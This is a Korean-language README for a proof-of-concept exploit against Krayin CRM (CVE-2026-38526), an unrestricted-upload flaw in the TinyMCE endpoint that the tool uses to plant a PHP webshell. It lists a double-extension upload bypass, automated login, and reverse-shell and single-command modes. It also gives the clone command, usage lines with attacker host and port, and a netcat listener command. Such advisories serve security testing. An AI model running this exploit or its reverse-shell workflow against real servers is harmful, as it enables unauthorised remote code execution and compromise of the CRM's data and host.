CVE-2026-38526 - Krayin CRM RCE 익스플로잇

Krayin CRM (≤ 2.2.x) - 원격 코드 실행으로 이어지는 무제한 파일 업로드.

이 PoC는 취약한 TinyMCE 업로드 엔드포인트(/admin/tinymce/upload)를 악용하여 PHP 웹쉘을 업로드하고 서버에서 명령 실행을 달성합니다.

기능

• CSRF 토큰 처리를 포함한 완전 자동 로그인
• 이중 확장자를 사용하여 업로드 제한 우회
• 리버스 셸 및 단일 명령 실행 지원
• 안정적인 Laravel CSRF 토큰 갱신
• 깔끔하고 사용하기 쉬움

다운로드

git clone https://github.com/pawpic/CVE-2026-38526-POC

요구 사항

pip3 install requests beautifulsoup4

사용법

1. 리버스 셸 (기본 및 권장)

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  --lhost YOUR_IP \
  --lport 4444

2. 단일 명령

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  -c "whoami"

옵션

예제 워크플로

리스너 시작:

nc -lvnp 4444

익스플로잇 실행:

python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR

면책 조항

이 익스플로잇은 교육 목적과 승인된 침투 테스트 전용으로 제작되었습니다. 명시적인 테스트 허가 없이 시스템을 대상으로 한 무단 사용은 불법입니다.

영향 받는 버전

Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526

작성자: pawpic 날짜: 2026